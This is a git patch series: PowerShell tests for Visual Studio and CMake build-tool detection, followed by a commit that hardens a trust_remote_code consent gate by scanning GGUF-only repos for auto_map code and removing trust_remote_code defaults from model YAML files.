+        ${env:ProgramFiles(x86)} = Join-Path $TestDrive 'PFx86'   # no vswhere here -> filesystem fallback
+        $r = Find-VsBuildTools
+        $r.Generator | Should -Be 'Visual Studio 18 2026'
+    }
+
+    It 'detects a filesystem-only VS 2026 install under the year dir ("2026")' -Skip:(-not $IsWindows) {
+        $root = Join-Path $TestDrive 'PF2026'
+        New-FakeVsTree -Root $root -VersionDir '2026'
+        ${env:ProgramFiles}      = $root
+        ${env:ProgramFiles(x86)} = Join-Path $TestDrive 'PFx86b'
+        (Find-VsBuildTools).Generator | Should -Be 'Visual Studio 18 2026'
+    }
+
+    It 'still detects VS 2022 (no regression)' -Skip:(-not $IsWindows) {
+        $root = Join-Path $TestDrive 'PF2022'
+        New-FakeVsTree -Root $root -VersionDir '2022'
+        ${env:ProgramFiles}      = $root
+        ${env:ProgramFiles(x86)} = Join-Path $TestDrive 'PFx86c'
+        (Find-VsBuildTools).Generator | Should -Be 'Visual Studio 17 2022'
+    }
+
+    It 'detects an older VS installed under the Preview edition dir' -Skip:(-not $IsWindows) {
+        # Preview installs under a "Preview" edition folder; the fallback must include it.
+        $root = Join-Path $TestDrive 'PF2022prev'
+        New-FakeVsTree -Root $root -VersionDir '2022' -Edition 'Preview'
+        ${env:ProgramFiles}      = $root
+        ${env:ProgramFiles(x86)} = Join-Path $TestDrive 'PFx86d'
+        (Find-VsBuildTools).Generator | Should -Be 'Visual Studio 17 2022'
+    }
+}
+
+Describe 'Get-VcBuildCustomizationsDir (CUDA to VS MSBuild integration path)' {
+    # Use TestDrive as the root so Join-Path resolves on any OS; assertions accept
+    # either path separator.
+
+    It 'derives v180 for the VS 2026 generator' {
+        Get-VcBuildCustomizationsDir -VsInstallPath "$TestDrive" -Generator 'Visual Studio 18 2026' |
+            Should -Match 'VC[\\/]v180[\\/]BuildCustomizations$'
+    }
+
+    It 'derives v170 for VS 2022 (unchanged behavior)' {
+        Get-VcBuildCustomizationsDir -VsInstallPath "$TestDrive" -Generator 'Visual Studio 17 2022' |
+            Should -Match 'VC[\\/]v170[\\/]BuildCustomizations$'
+    }
+
+    It 'derives v160 for VS 2019' {
+        Get-VcBuildCustomizationsDir -VsInstallPath "$TestDrive" -Generator 'Visual Studio 16 2019' |
+            Should -Match 'VC[\\/]v160[\\/]BuildCustomizations$'
+    }
+
+    It 'falls back to v170 when the generator is empty/unparseable (backwards compatible)' {
+        Get-VcBuildCustomizationsDir -VsInstallPath "$TestDrive" -Generator '' |
+            Should -Match 'VC[\\/]v170[\\/]BuildCustomizations$'
+    }
+
+    It 'roots the path under the supplied VS install path' {
+        $p = Get-VcBuildCustomizationsDir -VsInstallPath "$TestDrive" -Generator 'Visual Studio 18 2026'
+        $p.StartsWith("$TestDrive") | Should -BeTrue
+    }
+}
+
+Describe 'Test-CmakeSupportsGenerator (CMake 4.2 guard for VS 2026)' {
+
+    It 'rejects CMake 3.31.0 with the VS 2026 generator' {
+        Test-CmakeSupportsGenerator -CmakeVersion '3.31.0' -Generator 'Visual Studio 18 2026' | Should -BeFalse
+    }
+
+    It 'accepts CMake 4.2.1 with the VS 2026 generator' {
+        Test-CmakeSupportsGenerator -CmakeVersion '4.2.1' -Generator 'Visual Studio 18 2026' | Should -BeTrue
+    }
+
+    It 'accepts CMake exactly 4.2 with the VS 2026 generator (boundary)' {
+        Test-CmakeSupportsGenerator -CmakeVersion '4.2' -Generator 'Visual Studio 18 2026' | Should -BeTrue
+    }
+
+    It 'rejects CMake 4.1.0 with the VS 2026 generator (boundary)' {
+        Test-CmakeSupportsGenerator -CmakeVersion '4.1.0' -Generator 'Visual Studio 18 2026' | Should -BeFalse
+    }
+
+    It 'is a no-op (accepts any CMake) for the VS 2022 generator' {
+        Test-CmakeSupportsGenerator -CmakeVersion '3.20.0' -Generator 'Visual Studio 17 2022' | Should -BeTrue
+    }
+
+    It 'is a no-op (accepts any CMake) for the VS 2019 generator' {
+        Test-CmakeSupportsGenerator -CmakeVersion '3.10.0' -Generator 'Visual Studio 16 2019' | Should -BeTrue
+    }
+}
+
+Describe 'Test-CmakeListsGenerator (probe cmake --help)' {
+    # Mock cmake as a function (resolved before any on-PATH exe): PowerShell caches
+    # its app-path table, so a $env:Path shim would not reliably beat a real cmake.
+
+    It 'returns true when cmake --help lists the generator' {
+        Mock cmake { "Generators`n  Visual Studio 18 2026        = Generates VS 2026 project files.`n  Visual Studio 17 2022        = Generates VS 2022 project files." }
+        Test-CmakeListsGenerator -Generator 'Visual Studio 18 2026' | Should -BeTrue
+    }
+
+    It 'returns false when cmake --help does not list the generator' {
+        Mock cmake { "Generators`n  Visual Studio 17 2022        = Generates VS 2022 project files." }
+        Test-CmakeListsGenerator -Generator 'Visual Studio 18 2026' | Should -BeFalse
+    }
+
+    It 'returns false when cmake produces no help output' {
+        Mock cmake { $null }
+        Test-CmakeListsGenerator -Generator 'Visual Studio 18 2026' | Should -BeFalse
+    }
+}
+
+Describe 'Test-CmakeCanDriveGenerator (probe OR version floor)' {
+    It 'accepts a sub-4.2 cmake that lists the VS 2026 generator (bundled cmake)' {
+        # 3.31.0 is below the 4.2 floor but lists the generator, so the help-probe accepts it.
+        Mock cmake {
+            if ($args -contains '--version') { 'cmake version 3.31.0' }
+            else { "Generators`n  Visual Studio 18 2026        = Generates VS 2026 project files." }
+        }
+        Test-CmakeCanDriveGenerator -Generator 'Visual Studio 18 2026' | Should -BeTrue
+    }
+
+    It 'accepts a 4.2 cmake via the version floor when the help probe misses it' {
+        # Help omits the generator but 4.2.0 meets the floor, so the version branch accepts it.
+        Mock cmake {
+            if ($args -contains '--version') { 'cmake version 4.2.0' }
+            else { 'Generators' }
+        }
+        Test-CmakeCanDriveGenerator -Generator 'Visual Studio 18 2026' | Should -BeTrue
+    }
+
+    It 'rejects a sub-4.2 cmake that does not list the VS 2026 generator' {
+        Mock cmake {
+            if ($args -contains '--version') { 'cmake version 3.31.0' }
+            else { "Generators`n  Visual Studio 17 2022        = Generates VS 2022 project files." }
+        }
+        Test-CmakeCanDriveGenerator -Generator 'Visual Studio 18 2026' | Should -BeFalse
+    }
+}
+
+Describe 'Get-FallbackVsGenerator (older VS the cmake can drive)' {
+    BeforeAll {
+        function New-FakeVsTree2 {
+            param([string]$Root, [string]$VersionDir, [string]$Edition = 'BuildTools')
+            $clDir = Join-Path $Root "Microsoft Visual Studio\$VersionDir\$Edition\VC\Tools\MSVC\14.39.00000\bin\Hostx64\x64"
+            New-Item -ItemType Directory -Path $clDir -Force | Out-Null
+            New-Item -ItemType File -Path (Join-Path $clDir 'cl.exe') -Force | Out-Null
+        }
+    }
+    BeforeEach {
+        $script:OrigPF = ${env:ProgramFiles}
+        $script:OrigPFx86 = ${env:ProgramFiles(x86)}
+    }
+    AfterEach {
+        ${env:ProgramFiles} = $script:OrigPF
+        ${env:ProgramFiles(x86)} = $script:OrigPFx86
+    }
+
+    It 'returns the VS 2022 generator when VS 2022 is installed and cmake lists it' -Skip:(-not $IsWindows) {
+        $root = Join-Path $TestDrive 'PF_fb'
+        New-FakeVsTree2 -Root $root -VersionDir '2022'
+        ${env:ProgramFiles} = $root
+        ${env:ProgramFiles(x86)} = Join-Path $TestDrive 'PFx86_fb'
+        Mock cmake { "Generators`n  Visual Studio 17 2022        = Generates VS 2022 project files." }
+        $r = Get-FallbackVsGenerator
+        $r.Generator | Should -Be 'Visual Studio 17 2022'
+    }
+
+    It 'returns null when the cmake cannot drive any installed older VS' -Skip:(-not $IsWindows) {
+        $root = Join-Path $TestDrive 'PF_none'
+        New-FakeVsTree2 -Root $root -VersionDir '2022'
+        ${env:ProgramFiles} = $root
+        ${env:ProgramFiles(x86)} = Join-Path $TestDrive 'PFx86_none'
+        # cmake lists only VS 2026 (not 2022/2019/2017), so no older fallback is usable.
+        Mock cmake { "Generators`n  Visual Studio 18 2026        = Generates VS 2026 project files." }
+        $r = Get-FallbackVsGenerator
+        $r | Should -BeNullOrEmpty
+    }
+
+    It 'falls back to an older VS installed under the Preview edition dir' -Skip:(-not $IsWindows) {
+        $root = Join-Path $TestDrive 'PF_prev'
+        New-FakeVsTree2 -Root $root -VersionDir '2022' -Edition 'Preview'
+        ${env:ProgramFiles} = $root
+        ${env:ProgramFiles(x86)} = Join-Path $TestDrive 'PFx86_prev'
+        Mock cmake { "Generators`n  Visual Studio 17 2022        = Generates VS 2022 project files." }
+        (Get-FallbackVsGenerator).Generator | Should -Be 'Visual Studio 17 2022'
+    }
+}
+
+Describe 'Deferred build tools (prebuilt path needs no VS/CMake)' {
+    # Phase-1 detection must be non-fatal (prebuilt path never blocked) and the
+    # deferred installer must no-op when VS was already detected. The install +
+    # exit-1 path is covered by studio-windows-no-vs-smoke.yml.
+    BeforeEach {
+        $script:OrigPF    = ${env:ProgramFiles}
+        $script:OrigPFx86 = ${env:ProgramFiles(x86)}
+    }
+    AfterEach {
+        ${env:ProgramFiles}      = $script:OrigPF
+        ${env:ProgramFiles(x86)} = $script:OrigPFx86
+        $script:VsInstallPath = $null
+        $script:CmakeGenerator = $null
+    }
+
+    It 'Find-VsBuildTools returns null when no VS is present (probe stays non-fatal)' {
+        # Empty discovery roots so no VS is found; the probe must return null
+        # (then log and continue, never exit).
+        ${env:ProgramFiles}      = (Join-Path $TestDrive 'EmptyPF')
+        ${env:ProgramFiles(x86)} = (Join-Path $TestDrive 'EmptyPFx86')
+        New-Item -ItemType Directory -Force -Path ${env:ProgramFiles}, ${env:ProgramFiles(x86)} | Out-Null
+        Find-VsBuildTools | Should -BeNullOrEmpty
+    }
+
+    It 'Ensure-BuildToolsForLlamaSourceBuild no-ops when VS is already detected' {
+        # With $VsInstallPath already set, the deferred installer must return without
+        # re-scanning or installing.
+        $script:VsInstallPath  = 'C:\Program Files\Microsoft Visual Studio\2022\BuildTools'
+        $script:CmakeGenerator = 'Visual Studio 17 2022'
+        { Ensure-BuildToolsForLlamaSourceBuild } | Should -Not -Throw
+        $script:VsInstallPath  | Should -Be 'C:\Program Files\Microsoft Visual Studio\2022\BuildTools'
+        $script:CmakeGenerator | Should -Be 'Visual Studio 17 2022'
+    }
+}
+
+Describe 'Source-build ordering invariant: CUDA integration runs AFTER the VS generator is finalized (#6473 review)' {
+    # Resolve-CudaToolkit copies the CUDA .targets into the current generator's dir,
+    # so it must run after the VS 2026 gate/fallback; otherwise a fallback to VS 2022
+    # builds v170 while the .targets went to v180 ("No CUDA toolset found").
+    It 'the source-build Resolve-CudaToolkit call appears AFTER the Get-FallbackVsGenerator fallback' {
+        $text = Get-Content -Raw -LiteralPath $script:SetupPs1
+        $idxFallback = $text.IndexOf('$fallback = Get-FallbackVsGenerator')
+        $idxResolve  = $text.IndexOf('Resolve-CudaToolkit -RequireOrExit')
+        $idxFallback | Should -BeGreaterThan 0
+        $idxResolve  | Should -BeGreaterThan 0
+        $idxResolve  | Should -BeGreaterThan $idxFallback
+    }
+}
+
+Describe 'Get-FallbackVsGenerator discovery is symmetric with Find-VsBuildTools (#6473 review)' {
+    # The fallback must also query vswhere, else a VS in a custom location is found
+    # as primary but missed as fallback -> avoidable hard exit.
+    It 'queries vswhere as part of fallback discovery' {
+        $src = Get-FunctionSource -Path $script:SetupPs1 -Name Get-FallbackVsGenerator
+        $src | Should -Match 'vswhere'
+    }
+}
+
+Describe 'Test-VCRedistInstalled (VC++ 2015-2022 runtime needed by the prebuilt llama.cpp + PyTorch)' {
+    # The prebuilts link the VC++ runtime DLLs (which the Universal CRT lacks);
+    # detection is System32\vcruntime140_1.dll with a registry fallback.
+    BeforeEach { $script:OrigSysRoot = $env:SystemRoot }
+    AfterEach  { $env:SystemRoot = $script:OrigSysRoot }
+
+    # Probes Test-Path once (System32 DLL), then the registry; mock both.
+    It 'returns true when vcruntime140_1.dll is present in System32' {
+        $env:SystemRoot = 'C:\Windows'
+        Mock Test-Path { $true }
+        Test-VCRedistInstalled | Should -BeTrue
+    }
+    It 'returns true via the registry when the DLL is not found (Installed=1, >= 14.20)' {
+        $env:SystemRoot = 'C:\Windows'
+        Mock Test-Path { $false }
+        Mock Get-ItemProperty { [pscustomobject]@{ Installed = 1; Major = 14; Minor = 29 } }
+        Test-VCRedistInstalled | Should -BeTrue
+    }
+    It 'returns false when neither the DLL nor a >= 14.20 registry entry exists' {
+        $env:SystemRoot = 'C:\Windows'
+        Mock Test-Path { $false }
+        Mock Get-ItemProperty { throw 'no key' }
+        Test-VCRedistInstalled | Should -BeFalse
+    }
+    It 'returns false for an old 2015-only redist (Installed=1 but < 14.20)' {
+        $env:SystemRoot = 'C:\Windows'
+        Mock Test-Path { $false }
+        Mock Get-ItemProperty { [pscustomobject]@{ Installed = 1; Major = 14; Minor = 0 } }
+        Test-VCRedistInstalled | Should -BeFalse
+    }
+}

From 1582d2854c2579d6483e06d0b0ed462d38b98adb Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 02:10:35 -0700
Subject: [PATCH 005/306] Harden trust_remote_code consent: scan GGUF-only
 auto_map and drop pre-set TRC defaults (#6478)

* Scan auto_map for GGUF-only repo ids in the consent gate

The trust_remote_code consent gate treated any repo classified GGUF-only
(ships .gguf, no transformers-loadable weight) as having no remote code,
so _config_has_auto_map returned False even when a config declared an
auto_map and the repo shipped the referenced .py. The evaluator then
skipped the scan/fingerprint for that target entirely.

GGUF-inertness is a property of the loader, not the repo. A GGUF
selection loads via llama.cpp, which never reads config.json/auto_map,
and that case is already short-circuited upstream by the caller's
is_gguf check (the inference route skips the remote-code preflight for a
GGUF load). Every path that reaches this helper (export, training,
non-GGUF inference) loads through transformers/Unsloth from_pretrained,
which DOES import auto_map even for a repo that only ships .gguf weights:
the custom module runs before from_pretrained fails on the missing
transformers weights. The export path has no is_gguf guard and passes the
source straight to FastLanguageModel.from_pretrained(trust_remote_code=True),
so the in-helper GGUF skip let a repo with config.json (auto_map) +
modeling_x.py + only a .gguf run unreviewed code during export.

Drop the redundant repo-level GGUF short-circuit (and the now-unused
_is_gguf_repo helper). A direct .gguf file reference stays inert via
_is_direct_gguf_file_ref because that genuinely is a single-file llama.cpp
load; repo ids are always scanned. A GGUF repo whose auto_map ships no .py
still allows via the existing empty-code path, so legitimate GGUF loads
are unaffected (and GGUF inference never reaches this helper at all). Only
a repo that actually contains a .gguf can change behavior here; non-GGUF
repos (safetensors, MLX) are byte-identical before and after.

Update the GGUF auto_map test to expect a scan, and add two regression
tests: a GGUF-only repo shipping auto_map Python is scanned and blocked,
and a transformers-style repo (safetensors / MLX .npz) with auto_map stays
scanned and blocked.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Remove trust_remote_code config defaults; consent dialog is the only enabler

trust_remote_code is a per-load decision that must go through the remote-code
consent dialog, which scans the auto_map code and pins the exact version. Two
pre-set paths could still enable it without the user reviewing any code, and the
GGUF consent bypass rode one of them into the export flow:

- 4 model_defaults YAMLs shipped trust_remote_code: true (GLM-4.7-Flash,
  Nemotron-3-Nano-30B-A3B, PaddleOCR-VL, ERNIE-4.5-VL).
- The frontend consent hook silently enabled trust_remote_code on a clean scan
  whenever the caller flagged the model as needing it.

Remove every trust_remote_code key from the model_defaults YAMLs (the loaders
already default to False when the key is absent) and delete the frontend silent
auto-enable, so trust_remote_code is only turned on after the user approves the
scanned code in the dialog.

The three models that genuinely run custom code ship auto_map, which the consent
gate detects on its own via _config_has_auto_map, so the dialog still fires for
them in inference, training, and export (Nemotron is also re-granted by the
trusted-org auto-enable in the workers). GLM-4.7-Flash has no auto_map:
glm4_moe_lite is native in transformers 5.0+ and it loads with
trust_remote_code=False, so its YAML flag was a no-op.

Adds test_yaml_trust_remote_code_removed.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Drop YAML sections emptied by trust_remote_code removal

Removing trust_remote_code from a model YAML whose section had no other key
left a bare `inference:` header, which PyYAML parses as None;
load_inference_config() then does `model_config.get("inference", {}).get(...)`
and crashes on the None. Drop those now-empty section headers (24 model
defaults, all the `inference:` section) so callers fall back to family/default
inference params, which is the same result those models had before (their only
inference override was trust_remote_code).

Strengthens test_yaml_trust_remote_code_removed.py to forbid any empty/None
top-level section and to load the affected models' inference config end to end.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Add sweep asserting every model YAML loads via training + inference paths

Loads all model_defaults YAMLs through load_model_defaults (training) and
load_inference_config (inference) with the exact .get() access patterns the
routes use, so a malformed/None section that crashes either loader is caught.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Assert ex-TRC auto_map models still surface the consent dialog

Removing the trust_remote_code YAML default must not suppress the dialog for the
models that genuinely run custom code. The dialog is driven by the repo's auto_map
(via preflight_remote_code_consent_for_targets -> _config_has_auto_map), not the YAML
flag, so Nemotron/PaddleOCR-VL/ERNIE-4.5-VL still require consent; GLM-4.7-Flash (no
auto_map) takes no dialog and loads natively. Mocks only the Hub config + .py reader.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments in consent-gate changes

* Trim comments to be more succinct

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
---
 .../configs/model_defaults/default.yaml       |   2 -
 .../ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml   |   4 -
 .../unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml      |   2 -
 .../tiiuae_Falcon-H1-0.5B-Instruct.yaml       |   4 -
 .../gemma/unsloth_codegemma-7b-bnb-4bit.yaml  |   2 -
 .../gemma/unsloth_functiongemma-270m-it.yaml  |   2 -
 .../gemma/unsloth_gemma-2-27b-bnb-4bit.yaml   |   4 -
 .../gemma/unsloth_gemma-2-2b.yaml             |   4 -
 .../gemma/unsloth_gemma-3-270m-it.yaml        |   2 -
 .../gemma/unsloth_gemma-3-27b-it.yaml         |   2 -
 .../gemma/unsloth_gemma-3-4b-it.yaml          |   2 -
 .../gemma/unsloth_gemma-3-4b-pt.yaml          |   2 -
 .../gemma/unsloth_gemma-3n-E4B-it.yaml        |   2 -
 .../gemma/unsloth_gemma-3n-E4B.yaml           |   2 -
 .../gemma/unsloth_gemma-4-26B-A4B-it.yaml     |   2 -
 .../gemma/unsloth_gemma-4-26B-A4B.yaml        |   2 -
 .../gemma/unsloth_gemma-4-31B-it.yaml         |   2 -
 .../gemma/unsloth_gemma-4-31B.yaml            |   2 -
 .../gemma/unsloth_gemma-4-E2B-it.yaml         |   2 -
 .../gemma/unsloth_gemma-4-E2B.yaml            |   2 -
 .../gemma/unsloth_gemma-4-E4B-it.yaml         |   2 -
 .../gemma/unsloth_gemma-4-E4B.yaml            |   2 -
 .../gpt-oss/unsloth_gpt-oss-120b.yaml         |   2 -
 .../gpt-oss/unsloth_gpt-oss-20b.yaml          |   2 -
 ...oth_granite-4.0-350m-unsloth-bnb-4bit.yaml |   2 -
 .../granite/unsloth_granite-4.0-h-micro.yaml  |   2 -
 ...unsloth_Llama-3.2-11B-Vision-Instruct.yaml |   2 -
 .../llama/unsloth_Llama-3.2-1B-Instruct.yaml  |   4 -
 .../llama/unsloth_Llama-3.2-3B-Instruct.yaml  |   2 -
 .../llama/unsloth_Llama-3.3-70B-Instruct.yaml |   2 -
 .../unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml  |   4 -
 ...h_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml |   4 -
 .../unsloth_llama-3-8b-Instruct-bnb-4bit.yaml |   4 -
 .../llama/unsloth_llama-3-8b-bnb-4bit.yaml    |   4 -
 .../llasa/unsloth_Llasa-3B.yaml               |   2 -
 ...Magistral-Small-2509-unsloth-bnb-4bit.yaml |   2 -
 .../unsloth_Ministral-3-3B-Instruct-2512.yaml |   2 -
 ...sloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml |   4 -
 .../unsloth_Mistral-Small-Instruct-2409.yaml  |   4 -
 .../mistral/unsloth_Pixtral-12B-2409.yaml     |   2 -
 ...oth_mistral-7b-instruct-v0.3-bnb-4bit.yaml |   4 -
 .../unsloth_mistral-7b-v0.3-bnb-4bit.yaml     |   4 -
 .../other/OuteAI_Llama-OuteTTS-1.0-1B.yaml    |   2 -
 .../other/Spark-TTS-0.5B_LLM.yaml             |   2 -
 .../model_defaults/other/sesame_csm-1b.yaml   |   4 -
 .../other/unsloth_GLM-4.7-Flash.yaml          |   2 -
 .../other/unsloth_LFM2-1.2B.yaml              |   2 -
 .../unsloth_Nemotron-3-Nano-30B-A3B.yaml      |   2 -
 .../other/unsloth_PaddleOCR-VL.yaml           |   2 -
 .../unsloth_answerdotai_ModernBERT-large.yaml |   4 -
 .../other/unsloth_orpheus-3b-0.1-ft.yaml      |   2 -
 .../other/unsloth_tinyllama-bnb-4bit.yaml     |   4 -
 .../other/unsloth_whisper-large-v3.yaml       |   4 -
 .../phi/unsloth_Phi-3-medium-4k-instruct.yaml |   4 -
 .../phi/unsloth_Phi-3.5-mini-instruct.yaml    |   4 -
 .../model_defaults/phi/unsloth_Phi-4.yaml     |   2 -
 .../imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml    |   2 -
 .../model_defaults/qwen/unsloth_Qwen2-7B.yaml |   4 -
 .../qwen/unsloth_Qwen2-VL-7B-Instruct.yaml    |   2 -
 .../qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml   |   4 -
 .../qwen/unsloth_Qwen2.5-7B.yaml              |   4 -
 .../unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml  |   4 -
 .../unsloth_Qwen2.5-Coder-14B-Instruct.yaml   |   2 -
 ...th_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml |   4 -
 ...sloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml |   2 -
 .../qwen/unsloth_Qwen3-0.6B.yaml              |   2 -
 ...sloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml |   2 -
 .../qwen/unsloth_Qwen3-14B.yaml               |   2 -
 .../unsloth_Qwen3-30B-A3B-Instruct-2507.yaml  |   2 -
 .../qwen/unsloth_Qwen3-32B.yaml               |   2 -
 .../qwen/unsloth_Qwen3-4B-Instruct-2507.yaml  |   2 -
 .../qwen/unsloth_Qwen3-4B-Thinking-2507.yaml  |   2 -
 ...Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml |   2 -
 studio/backend/tests/test_consent_gate.py     |  84 ++++++++-
 .../test_yaml_trust_remote_code_removed.py    | 163 ++++++++++++++++++
 studio/backend/utils/security/consent.py      |  53 +-----
 .../security/hooks/use-remote-code-consent.ts |   6 +-
 77 files changed, 250 insertions(+), 250 deletions(-)
 create mode 100644 studio/backend/tests/test_yaml_trust_remote_code_removed.py

diff --git a/studio/backend/assets/configs/model_defaults/default.yaml b/studio/backend/assets/configs/model_defaults/default.yaml
index 12566019b8..841e8ba166 100644
--- a/studio/backend/assets/configs/model_defaults/default.yaml
+++ b/studio/backend/assets/configs/model_defaults/default.yaml
@@ -2,7 +2,6 @@
 # Used for models without specific configurations
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -48,7 +47,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.7
   top_p: 0.95
   top_k: -1
diff --git a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml
index 52511c6eaf..734115ec41 100644
--- a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml
+++ b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml
@@ -3,7 +3,6 @@
 # Also applies to: unsloth/ERNIE-4.5-21B-A3B-PT
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml
index 524a723dc2..1032449e8c 100644
--- a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml
+++ b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth notebook
 
 training:
-  trust_remote_code: true
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -49,7 +48,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: true
   temperature: 1.5
   min_p: 0.1
 
diff --git a/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml
index fa7bd8c1ea..c8e5f35841 100644
--- a/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml
+++ b/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml
@@ -3,7 +3,6 @@
 # Also applies to: tiiuae/Falcon-H1-0.5B-Instruct, unsloth/Falcon-H1-0.5B-Instruct
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml
index 62836dc0cd..251409c29d 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from Ollama
 
 training:
-  trust_remote_code: false
   max_seq_length: 4096
   # num_epochs: 4
   num_epochs: 0
@@ -45,6 +44,5 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0
   top_p: 0.9
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml
index f97a842d2a..89b1d7f938 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 4096
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_k: 64
   top_p: 0.95
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml
index 56f10cdc4f..e3292b5972 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml
@@ -2,7 +2,6 @@
 # Based on Gemma2_(9B)-Alpaca.ipynb (same defaults for larger models)
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -41,6 +40,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml
index a4acbe9262..98fe497912 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml
@@ -3,7 +3,6 @@
 # Also applies to: unsloth/gemma-2-2b-bnb-4bit, google/gemma-2-2b
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml
index 455407abf8..bda5471643 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_k: 64
   top_p: 0.95
